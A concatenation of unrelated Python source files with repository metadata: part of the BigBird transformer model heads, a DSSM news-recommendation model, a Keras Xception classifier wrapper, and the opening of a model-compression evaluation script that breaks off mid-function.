blocked_encoder_mask = attention_mask.view(batch_size, seq_length // block_size, block_size)
band_mask = create_band_mask_from_inputs(blocked_encoder_mask, blocked_encoder_mask)
from_mask = attention_mask.view(batch_size, 1, seq_length, 1)
to_mask = attention_mask.view(batch_size, 1, 1, seq_length)
return blocked_encoder_mask, band_mask, from_mask, to_mask
def _pad_to_block_size(
self,
input_ids: torch.Tensor,
attention_mask: torch.Tensor,
token_type_ids: torch.Tensor,
position_ids: torch.Tensor,
inputs_embeds: torch.Tensor,
pad_token_id: int,
):
"""A helper function to pad tokens and mask to work with implementation of BigBird block-sparse attention."""
# padding
block_size = self.config.block_size
input_shape = input_ids.shape if input_ids is not None else inputs_embeds.shape
batch_size, seq_len = input_shape[:2]
padding_len = (block_size - seq_len % block_size) % block_size
if padding_len > 0:
logger.info(
f"Input ids are automatically padded from {seq_len} to {seq_len + padding_len} to be a multiple of "
f"`config.block_size`: {block_size}"
)
if input_ids is not None:
input_ids = nn.functional.pad(input_ids, (0, padding_len), value=pad_token_id)
if position_ids is not None:
# pad with position_id = pad_token_id as in modeling_bigbird.BigBirdEmbeddings
position_ids = nn.functional.pad(position_ids, (0, padding_len), value=pad_token_id)
if inputs_embeds is not None:
input_ids_padding = inputs_embeds.new_full(
(batch_size, padding_len),
self.config.pad_token_id,
dtype=torch.long,
)
inputs_embeds_padding = self.embeddings(input_ids_padding)
inputs_embeds = torch.cat([inputs_embeds, inputs_embeds_padding], dim=-2)
attention_mask = nn.functional.pad(
attention_mask, (0, padding_len), value=False
) # no attention on the padding tokens
token_type_ids = nn.functional.pad(token_type_ids, (0, padding_len), value=0) # pad with token_type_id = 0
return padding_len, input_ids, attention_mask, token_type_ids, position_ids, inputs_embeds
class BigBirdForPreTraining(BigBirdPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.bert = BigBirdModel(config, add_pooling_layer=True)
self.cls = BigBirdPreTrainingHeads(config)
self.init_weights()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=BigBirdForPreTrainingOutput, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
next_sentence_label=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape ``(batch_size, sequence_length)``, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``
next_sentence_label (``torch.LongTensor`` of shape ``(batch_size,)``, `optional`):
Labels for computing the next sequence prediction (classification) loss. If specified, nsp loss will be
added to masked_lm loss. Input should be a sequence pair (see :obj:`input_ids` docstring) Indices should be
in ``[0, 1]``:
- 0 indicates sequence B is a continuation of sequence A,
- 1 indicates sequence B is a random sequence.
kwargs (:obj:`Dict[str, any]`, optional, defaults to `{}`):
Used to hide legacy arguments that have been deprecated.
Returns:
Example::
>>> from transformers import BigBirdTokenizer, BigBirdForPreTraining
>>> import torch
>>> tokenizer = BigBirdTokenizer.from_pretrained('bigbird-roberta-base')
>>> model = BigBirdForPreTraining.from_pretrained('bigbird-roberta-base')
>>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
>>> outputs = model(**inputs)
>>> prediction_logits = outputs.prediction_logits
>>> seq_relationship_logits = outputs.seq_relationship_logits
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output, pooled_output = outputs[:2]
prediction_scores, seq_relationship_score = self.cls(sequence_output, pooled_output)
total_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
total_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if next_sentence_label is not None and total_loss is not None:
next_sentence_loss = loss_fct(seq_relationship_score.view(-1, 2), next_sentence_label.view(-1))
total_loss = total_loss + next_sentence_loss
if not return_dict:
output = (prediction_scores, seq_relationship_score) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return BigBirdForPreTrainingOutput(
loss=total_loss,
prediction_logits=prediction_scores,
seq_relationship_logits=seq_relationship_score,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings("""BigBird Model with a `language modeling` head on top. """, BIG_BIRD_START_DOCSTRING)
class BigBirdForMaskedLM(BigBirdPreTrainedModel):
def __init__(self, config):
super().__init__(config)
if config.is_decoder:
logger.warning(
"If you want to use `BigBirdForMaskedLM` make sure `config.is_decoder=False` for "
"bi-directional self-attention."
)
self.bert = BigBirdModel(config)
self.cls = BigBirdOnlyMLMHead(config)
self.init_weights()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("(batch_size, sequence_length)"))
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the masked language modeling loss. Indices should be in ``[-100, 0, ...,
config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are ignored
(masked), the loss is only computed for the tokens with labels in ``[0, ..., config.vocab_size]``.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
def prepare_inputs_for_generation(self, input_ids, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
effective_batch_size = input_shape[0]
# add a dummy token
assert self.config.pad_token_id is not None, "The PAD token should be defined for generation"
attention_mask = torch.cat([attention_mask, attention_mask.new_zeros((attention_mask.shape[0], 1))], dim=-1)
dummy_token = torch.full(
(effective_batch_size, 1), self.config.pad_token_id, dtype=torch.long, device=input_ids.device
)
input_ids = torch.cat([input_ids, dummy_token], dim=1)
return {"input_ids": input_ids, "attention_mask": attention_mask}
@add_start_docstrings(
"""BigBird Model with a `language modeling` head on top for CLM fine-tuning. """, BIG_BIRD_START_DOCSTRING
)
class BigBirdForCausalLM(BigBirdPreTrainedModel):
_keys_to_ignore_on_load_missing = [r"position_ids", r"predictions.decoder.bias"]
def __init__(self, config):
super().__init__(config)
if not config.is_decoder:
logger.warning("If you want to use `BigBirdForCausalLM` as a standalone, add `is_decoder=True.`")
self.bert = BigBirdModel(config)
self.cls = BigBirdOnlyMLMHead(config)
self.init_weights()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@replace_return_docstrings(output_type=CausalLMOutputWithCrossAttentions, config_class=_CONFIG_FOR_DOC)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
past_key_values=None,
labels=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
encoder_hidden_states (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`, `optional`):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention if
the model is configured as a decoder.
encoder_attention_mask (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Mask to avoid performing attention on the padding token indices of the encoder input. This mask is used in
the cross-attention if the model is configured as a decoder. Mask values selected in ``[0, 1]``:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
past_key_values (:obj:`tuple(tuple(torch.FloatTensor))` of length :obj:`config.n_layers` with each tuple having 4 tensors of shape :obj:`(batch_size, num_heads, sequence_length - 1, embed_size_per_head)`):
Contains precomputed key and value hidden states of the attention blocks. Can be used to speed up decoding.
If :obj:`past_key_values` are used, the user can optionally input only the last :obj:`decoder_input_ids`
(those that don't have their past key value states given to this model) of shape :obj:`(batch_size, 1)`
instead of all :obj:`decoder_input_ids` of shape :obj:`(batch_size, sequence_length)`.
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the left-to-right language modeling loss (next word prediction). Indices should be in
``[-100, 0, ..., config.vocab_size]`` (see ``input_ids`` docstring) Tokens with indices set to ``-100`` are
ignored (masked), the loss is only computed for the tokens with labels n ``[0, ..., config.vocab_size]``.
use_cache (:obj:`bool`, `optional`):
If set to :obj:`True`, :obj:`past_key_values` key value states are returned and can be used to speed up
decoding (see :obj:`past_key_values`).
Returns:
Example::
>>> from transformers import BigBirdTokenizer, BigBirdForCausalLM, BigBirdConfig
>>> import torch
>>> tokenizer = BigBirdTokenizer.from_pretrained('google/bigbird-roberta-base')
>>> config = BigBirdConfig.from_pretrained("google/bigbird-base")
>>> config.is_decoder = True
>>> model = BigBirdForCausalLM.from_pretrained('google/bigbird-roberta-base', config=config)
>>> inputs = tokenizer("Hello, my dog is cute", return_tensors="pt")
>>> outputs = model(**inputs)
>>> prediction_logits = outputs.logits
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
past_key_values=past_key_values,
use_cache=use_cache,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
lm_loss = None
if labels is not None:
# we are doing next-token prediction; shift prediction scores and input ids by one
shifted_prediction_scores = prediction_scores[:, :-1, :].contiguous()
labels = labels[:, 1:].contiguous()
loss_fct = CrossEntropyLoss()
lm_loss = loss_fct(shifted_prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((lm_loss,) + output) if lm_loss is not None else output
return CausalLMOutputWithCrossAttentions(
loss=lm_loss,
logits=prediction_scores,
past_key_values=outputs.past_key_values,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
cross_attentions=outputs.cross_attentions,
)
def prepare_inputs_for_generation(self, input_ids, past=None, attention_mask=None, **model_kwargs):
input_shape = input_ids.shape
# if model is used as a decoder in encoder-decoder model, the decoder attention mask is created on the fly
if attention_mask is None:
attention_mask = input_ids.new_ones(input_shape)
# cut decoder_input_ids if past is used
if past is not None:
input_ids = input_ids[:, -1:]
return {"input_ids": input_ids, "attention_mask": attention_mask, "past_key_values": past}
def _reorder_cache(self, past, beam_idx):
reordered_past = ()
for layer_past in past:
reordered_past += (
tuple(past_state.index_select(0, beam_idx) for past_state in layer_past[:2]) + layer_past[2:],
)
return reordered_past
class BigBirdClassificationHead(nn.Module):
"""Head for sentence-level classification tasks."""
def __init__(self, config):
super().__init__()
self.dense = nn.Linear(config.hidden_size, config.hidden_size)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.out_proj = nn.Linear(config.hidden_size, config.num_labels)
self.config = config
def forward(self, features, **kwargs):
x = features[:, 0, :] # take <s> token (equiv. to [CLS])
x = self.dropout(x)
x = self.dense(x)
x = ACT2FN[self.config.hidden_act](x)
x = self.dropout(x)
x = self.out_proj(x)
return x
@add_start_docstrings(
"""
BigBird Model transformer with a sequence classification/regression head on top (a linear layer on top of the
pooled output) e.g. for GLUE tasks.
""",
BIG_BIRD_START_DOCSTRING,
)
class BigBirdForSequenceClassification(BigBirdPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.bert = BigBirdModel(config)
self.classifier = BigBirdClassificationHead(config)
self.init_weights()
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=SequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the sequence classification/regression loss. Indices should be in :obj:`[0, ...,
config.num_labels - 1]`. If :obj:`config.num_labels == 1` a regression loss is computed (Mean-Square loss),
If :obj:`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
BigBird Model with a multiple choice classification head on top (a linear layer on top of the pooled output and a
softmax) e.g. for RocStories/SWAG tasks.
""",
BIG_BIRD_START_DOCSTRING,
)
class BigBirdForMultipleChoice(BigBirdPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.bert = BigBirdModel(config)
self.sequence_summary = SequenceSummary(config)
self.classifier = nn.Linear(config.hidden_size, 1)
self.init_weights()
@add_start_docstrings_to_model_forward(
BIG_BIRD_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length")
)
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for computing the multiple choice classification loss. Indices should be in ``[0, ...,
num_choices-1]`` where :obj:`num_choices` is the size of the second dimension of the input tensors. (See
:obj:`input_ids` above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
pooled_output = self.sequence_summary(sequence_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
BigBird Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g. for
Named-Entity-Recognition (NER) tasks.
""",
BIG_BIRD_START_DOCSTRING,
)
class BigBirdForTokenClassification(BigBirdPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.bert = BigBirdModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
self.init_weights()
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("(batch_size, sequence_length)"))
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
labels=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
labels (:obj:`torch.LongTensor` of shape :obj:`(batch_size, sequence_length)`, `optional`):
Labels for computing the token classification loss. Indices should be in ``[0, ..., config.num_labels -
1]``.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
# Only keep active parts of the loss
if attention_mask is not None:
active_loss = attention_mask.view(-1) == 1
active_logits = logits.view(-1, self.num_labels)
active_labels = torch.where(
active_loss, labels.view(-1), torch.tensor(loss_fct.ignore_index).type_as(labels)
)
loss = loss_fct(active_logits, active_labels)
else:
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
class BigBirdForQuestionAnsweringHead(nn.Module):
"""Head for question answering tasks."""
def __init__(self, config):
super().__init__()
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.intermediate = BigBirdIntermediate(config)
self.output = BigBirdOutput(config)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
def forward(self, encoder_output):
hidden_states = self.dropout(encoder_output)
hidden_states = self.intermediate(hidden_states)
hidden_states = self.output(hidden_states, encoder_output)
hidden_states = self.qa_outputs(hidden_states)
return hidden_states
@add_start_docstrings(
"""
BigBird Model with a span classification head on top for extractive question-answering tasks like SQuAD (a linear
layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
BIG_BIRD_START_DOCSTRING,
)
class BigBirdForQuestionAnswering(BigBirdPreTrainedModel):
def __init__(self, config, add_pooling_layer=False):
super().__init__(config)
config.num_labels = 2
self.num_labels = config.num_labels
self.sep_token_id = config.sep_token_id
self.bert = BigBirdModel(config, add_pooling_layer=add_pooling_layer)
self.qa_classifier = BigBirdForQuestionAnsweringHead(config)
self.init_weights()
@add_start_docstrings_to_model_forward(BIG_BIRD_INPUTS_DOCSTRING.format("(batch_size, sequence_length)"))
@add_code_sample_docstrings(
tokenizer_class=_TOKENIZER_FOR_DOC,
checkpoint="google/bigbird-base-trivia-itc",
output_type=BigBirdForQuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids=None,
attention_mask=None,
question_lengths=None,
token_type_ids=None,
position_ids=None,
head_mask=None,
inputs_embeds=None,
start_positions=None,
end_positions=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
start_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
end_positions (:obj:`torch.LongTensor` of shape :obj:`(batch_size,)`, `optional`):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (:obj:`sequence_length`). Position outside of the
sequence are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
seqlen = input_ids.size(1) if input_ids is not None else inputs_embeds.size(1)
if question_lengths is None and input_ids is not None:
# assuming input_ids format: <cls> <question> <sep> context <sep>
question_lengths = torch.argmax(input_ids.eq(self.sep_token_id).int(), dim=-1) + 1
question_lengths.unsqueeze_(1)
logits_mask = None
if question_lengths is not None:
# setting lengths logits to `-inf`
logits_mask = self.prepare_question_mask(question_lengths, seqlen)
if token_type_ids is None:
token_type_ids = (~logits_mask).long()
logits_mask = logits_mask
logits_mask.unsqueeze_(2)
outputs = self.bert(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_classifier(sequence_output)
if logits_mask is not None:
# removing question tokens from the competition
logits = logits - logits_mask * 1e6
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return BigBirdForQuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
pooler_output=outputs.pooler_output,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@staticmethod
def prepare_question_mask(q_lengths: torch.Tensor, maxlen: int):
# q_lengths -> (bz, 1)
mask = torch.arange(0, maxlen).to(q_lengths.device)
mask.unsqueeze_(0) # -> (1, maxlen)
mask = mask < q_lengths
return mask
|
[
"noreply@github.com"
] |
noreply@github.com
|
2722c4c0e0ffcce40a0523453b238dfc5d0edec7
|
40968e634cd94017947b26fae5df8ca33b0576ae
|
/dssm.py
|
2e3a744c0e7d07d21f5d841b1a1a900a92305a42
|
[] |
no_license
|
chungdz/DSSMMind
|
3164204ddfffae39c8f7658b098a07ef756fe98c
|
381750287585b767fe917672e95952f0992490b8
|
refs/heads/master
| 2023-07-17T11:28:03.794776
| 2021-09-02T08:06:51
| 2021-09-02T08:06:51
| 327,492,851
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,596
|
py
|
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
"""
size: (batch_num, (batch_size, trigram_dimension)) e.g.(100, (1024, 30k))
query: Query sample
doc_p: Doc Positive sample
doc_n1, doc_n2, doc_n3, doc_n4: Doc Negative sample
"""
class ForwardNet(nn.Module):
def __init__(self):
super(ForwardNet, self).__init__()
self.l1 = nn.Linear(300, 300)
nn.init.xavier_uniform_(self.l1.weight)
self.l2 = nn.Linear(300, 128)
nn.init.xavier_uniform_(self.l2.weight)
def forward(self, x):
x = torch.tanh(self.l1(x))
x = torch.tanh(self.l2(x))
return x
class DSSM(nn.Module):
def __init__(self, args, hidden=300):
super(DSSM, self).__init__()
self.queryNet = ForwardNet()
self.docNet = ForwardNet()
self.queryidNet = ForwardNet()
self.docidNet = ForwardNet()
self.his_len = args.max_hist_length
self.word_len = args.word_len
self.neg_num = args.neg_num
self.hidden = hidden
self.embed = nn.Embedding(args.word_num, hidden)
self.cos = nn.CosineSimilarity(dim=-1)
self.news_embed = nn.Embedding(args.news_num, hidden)
def forward(self, x, mode='train'):
neg_num = self.neg_num
if mode == 'test':
neg_num = 0
news = x[:, :neg_num + 1 + self.his_len]
title = x[:, neg_num + 1 + self.his_len:]
doc = title[:, :self.word_len * (neg_num + 1)]
query = title[:, self.word_len * (neg_num + 1):]
doc_id = news[:, :neg_num + 1]
query_id = news[:, neg_num + 1:]
doc = self.embed(doc)
query = self.embed(query)
doc_id = self.news_embed(doc_id)
query_id = self.news_embed(query_id)
doc = doc.view(-1, neg_num + 1, self.word_len, self.hidden)
doc = doc.mean(dim=-2)
doc = doc.view(-1, self.hidden)
query = query.mean(dim=-2)
doc_id = doc_id.view(-1, self.hidden)
query_id = query_id.mean(dim=-2)
doc = self.docNet(doc)
doc = doc.view(-1, neg_num + 1, 128)
query = self.queryNet(query)
query = query.repeat(1, neg_num + 1).view(-1, neg_num + 1, 128)
doc_id = self.docidNet(doc_id)
doc_id = doc_id.view(-1, neg_num + 1, 128)
query_id = self.queryidNet(query_id)
query_id = query_id.repeat(1, neg_num + 1).view(-1, neg_num + 1, 128)
similarity = self.cos(query, doc)
similarity_id = self.cos(query_id, doc_id)
return similarity
|
[
"1033718596@qq.com"
] |
1033718596@qq.com
|
e5fffd0eaacdf7d63176bd4dd1659f28c5b27862
|
4c0d0d0f2acaaab8f641cdac3cecc306bdd2d4b9
|
/Keras/KerasXceptionModelClassification.py
|
f866998be1a5e8cf784365cc0f70360a1d5ba731
|
[] |
no_license
|
adines/DeepClassificationJ
|
18f6125598c6523320f3753490079da1207c5de1
|
9f3bd50f4f4eb564ac83a46e0bdfacf629314157
|
refs/heads/master
| 2021-05-10T13:58:00.708598
| 2018-05-24T07:19:40
| 2018-05-24T07:19:40
| 118,496,142
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 747
|
py
|
import numpy as np
from keras.applications.xception import Xception
from keras.applications.xception import decode_predictions
from keras.applications.xception import preprocess_input
from keras.preprocessing import image
from Keras import KerasModelClassification
class KerasXceptionModelClassification(KerasModelClassification.KerasModelClassification):
def loadModel(self,model):
return Xception()
def preprocess(self,im):
img = image.load_img(im,target_size=(224, 224))
x = image.img_to_array(img)
x = np.expand_dims(x, axis=0)
x = preprocess_input(x)
return x
def postprocess(self,preds):
prediction=decode_predictions(preds, top=1)[0]
return prediction[0][1]
|
[
"adrian140793@hotmail.com"
] |
adrian140793@hotmail.com
|
e0ac24619a342a1b4cf7f9e015cbbcec4a3161d4
|
c9b5f49906e213c0c6edd25c063961b8226b67af
|
/compression/evaluate.py
|
a6d3d4e3f36ec271fc6ec3957c65c952d9ea8164
|
[] |
no_license
|
danielzgsilva/jetson_projects
|
c481ff505c97ac40089438f34ae24b74e265631c
|
72ab79a2d4759fe51d107432aa9ff6ce2c728a53
|
refs/heads/master
| 2023-01-20T20:22:04.410741
| 2020-12-01T21:31:07
| 2020-12-01T21:31:07
| 294,460,502
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,723
|
py
|
import os
#os.environ['CUDA_LAUNCH_BLOCKING']='1'
import config
import torch
import numpy as np
from dataloader import TrainDataset, ValidationDataset, DataLoader, get_cifar100_dataset
from model import VGGModel, VGGModel_old
import time
from basisModel import basisModel, display_stats
from options import Options
opts = Options().parse()
if opts.tensorRT:
from torch2trt import torch2trt
def get_accuracy(y_pred, y):
y_argmax = torch.argmax(y_pred, -1)
return torch.mean((y_argmax==y).type(torch.float))
def validation(model, data_loader, opts):
model.eval()
if opts.compress:
